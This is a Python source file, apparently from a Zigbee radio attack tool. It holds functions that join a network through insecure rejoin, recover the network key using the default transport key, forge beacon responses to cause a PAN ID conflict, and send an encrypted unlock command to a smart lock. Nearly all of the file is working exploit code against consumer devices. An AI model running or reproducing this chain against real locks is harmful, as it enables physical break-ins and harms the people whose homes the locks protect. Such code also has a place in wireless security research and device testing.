def insecure_rejoin_by_panid(radio, panid, src_addr=None, extended_src=None, coord_addr=None, seq_num=None, nwk_seq_num=None):
if src_addr is None:
src_addr = random.randint(0,0xfff0)
if extended_src is None:
extended_src = random.randint(0, 0xffffffffffffffff)
if coord_addr is None:
coord_addr = find_coord_addr_by_panid(radio, panid)
if seq_num is None:
seq_num = random.randint(0,255)
if nwk_seq_num is None:
nwk_seq_num = random.randint(0,255)
if coord_addr is None:
print_info("No coordinator address seen, using default of 0x0000")
coord_addr = 0x0000
dot15d4_seq_iter = SequenceIterator(initial_value=seq_num, value_limit=255)
nwk_seq_iter = SequenceIterator(initial_value=nwk_seq_num, value_limit=255)
print_notify("Attempting to join PAN ID 0x%04x using insecure rejoin" % panid)
print_info("Sending insecure rejoin")
radio.send_and_retry(insecure_rejoin(src_addr, coord_addr, panid, extended_src, seq_num=dot15d4_seq_iter.next(), nwk_seq_num=nwk_seq_iter.next()))
radio.send_and_retry(data_request(src_addr, coord_addr, panid, seq_num=dot15d4_seq_iter.next()))
coord_extended_src = None
print_info("Awaiting response...")
timer = Timer(RESPONSE_TIME_LIMIT)
while(not timer.has_expired()):
frame = radio.receive_and_ack(addr=src_addr, panid=panid)
if is_rejoin_response(frame):
print_notify("Rejoin response observed")
coord_extended_src = frame[ZigbeeNWK].ext_src
radio.send_and_retry(data_request(src_addr, coord_addr, panid, seq_num=dot15d4_seq_iter.next()))
break
if coord_extended_src is None:
print_error("No rejoin response observed")
print_info("Awaiting transport key...")
timer.reset()
while(not timer.has_expired()):
frame = radio.receive_and_ack(addr=src_addr, panid=panid)
if is_transport_key(frame):
print_notify("Transport key observed")
print_info("Attempting to decrypt the network key")
coord_extended_source_bytes = extended_address_bytes(coord_extended_src)
decrypted, valid = crypto_utils.zigbee_packet_decrypt(crypto_utils.zigbee_trans_key(crypto_utils.DEFAULT_TRANSPORT_KEY), frame, coord_extended_source_bytes)
if valid:
print_notify("Network key acquired")
network_key = bytes(decrypted)[2:18]
print_info("Extracted key is 0x%s" % network_key.hex())
return network_key
else:
print_info(str(coord_extended_source_bytes))
print_error("Network key could not be decrypted")
return None
def pan_conflict_by_panid(radio, panid, network_key=None, coord_ext_addr=None):
print_info("Performing PAN ID conflict")
conflict_sent = False
for attempt in range(NUMBER_OF_ATTEMPTS):
seq_num = random.randint(0, 255)
seq_iter = SequenceIterator(seq_num)
radio.send(beacon_request(seq_num=seq_iter.next()))
timer = Timer(RESPONSE_TIME_LIMIT)
while not timer.has_expired():
frame = radio.receive()
if is_beacon_response(frame):
if frame[Dot15d4FCS].src_panid == panid:
print_info("Network observed, sending conflict")
current_seq_num = seq_iter.next()
radio.send(beacon_response(panid, seq_num=current_seq_num))
radio.send(beacon_response(panid, seq_num=current_seq_num))
break
if network_key is not None and coord_ext_addr is not None:
timer.reset()
print_info(
"Verifying the conflict took by looking for the network update"
)
while not timer.has_expired():
frame = radio.receive()
if frame is not None and ZigbeeSecurityHeader in frame:
coord_ext_addr_bytes = extended_address_bytes(
coord_ext_addr)
decrypted, valid = crypto_utils.zigbee_packet_decrypt(
network_key, frame, coord_ext_addr_bytes)
if valid:
if bytes(decrypted)[0] == 0x0a:
print_info(
"Network update observed. PAN conflict worked")
return True
print_error(
"Did not observe a network update. PAN conflict likely failed")
return False
return True
def unlock_lock(radio,
panid,
addr,
network_key,
coord_addr=None,
coord_extended_addr=None,
frame_counter=None):
if coord_addr is None:
coord_addr = find_coord_addr_by_panid(radio, panid)
if coord_extended_addr is None:
coord_extended_addr, frame_counter = wait_for_extended_address_also_frame_counter(
radio, panid, coord_addr)
if frame_counter is None:
frame_counter = wait_for_frame_counter(radio, panid, coord_addr)
if coord_addr is None or coord_extended_addr is None or frame_counter is None:
print_error(
"Could not find the required data to send the unlock request")
frame_counter_iter = SequenceIterator(frame_counter + 1, 0xffffffff)
sequence_number = random.randint(0, 255)
nwk_sequence_number = random.randint(0, 255)
aps_counter = random.randint(0, 255)
zcl_sequence_number = random.randint(0, 255)
print_info("Attempting to unlock lock")
timer = Timer(OBSERVATION_TIME)
conflict_succeeded = False
for attempt in range(3):
# it is going to be more reliable if we sync the conflict with the device's data request to avoid having it see the network change packet
while not timer.has_expired():
frame = radio.receive()
if is_data_request(frame) and get_source(frame) == addr:
if pan_conflict_by_panid(radio,
panid,
network_key=network_key,
coord_ext_addr=coord_extended_addr):
conflict_succeeded = True
break
if conflict_succeeded:
break
timer.reset()
if conflict_succeeded:
print_info("Waiting 4 seconds for the conflict to resolve")
timer = Timer(4)
while not timer.has_expired():
frame = radio.receive_and_ack(panid=panid, addr=coord_addr)
radio.load_frame(
encrypted_unlock(panid,
coord_addr,
addr,
coord_extended_addr,
network_key,
frame_counter=frame_counter_iter.next(),
seq_num=sequence_number,
nwk_seq_num=nwk_sequence_number,
aps_counter=aps_counter,
zcl_seq_num=zcl_sequence_number))
data_request_counter = 0
timer = Timer(1)
while not timer.has_expired():
frame = radio.receive_and_ack(panid=panid, addr=coord_addr)
print_info("Waiting for the lock to send a couple data requests")
unlock_sent = False
timer = Timer(OBSERVATION_TIME)
while not timer.has_expired():
frame = radio.receive_and_ack(panid=panid, addr=coord_addr)
if is_data_request(frame):
data_request_counter += 1
if data_request_counter == 2:
print_notify("Sending unlock command")
radio.fire_and_retry()
unlock_sent = True
break
return unlock_sent
else:
print_info(
"We're going to send a bunch of unlock requests and hope one goes through"
)
for attempts in range(20):
radio.load_frame(
encrypted_unlock(panid,
coord_addr,
addr,
coord_extended_addr,
network_key,
frame_counter=frame_counter_iter.next(),
seq_num=sequence_number,
nwk_seq_num=nwk_sequence_number,
aps_counter=aps_counter,
zcl_seq_num=zcl_sequence_number))
timer = Timer(OBSERVATION_TIME)
while not timer.has_expired():
frame = radio.receive_and_ack(panid=panid, addr=coord_addr)
if is_data_request(frame):
print_notify("Sending unlock command")
radio.fire_and_retry()
break
return True
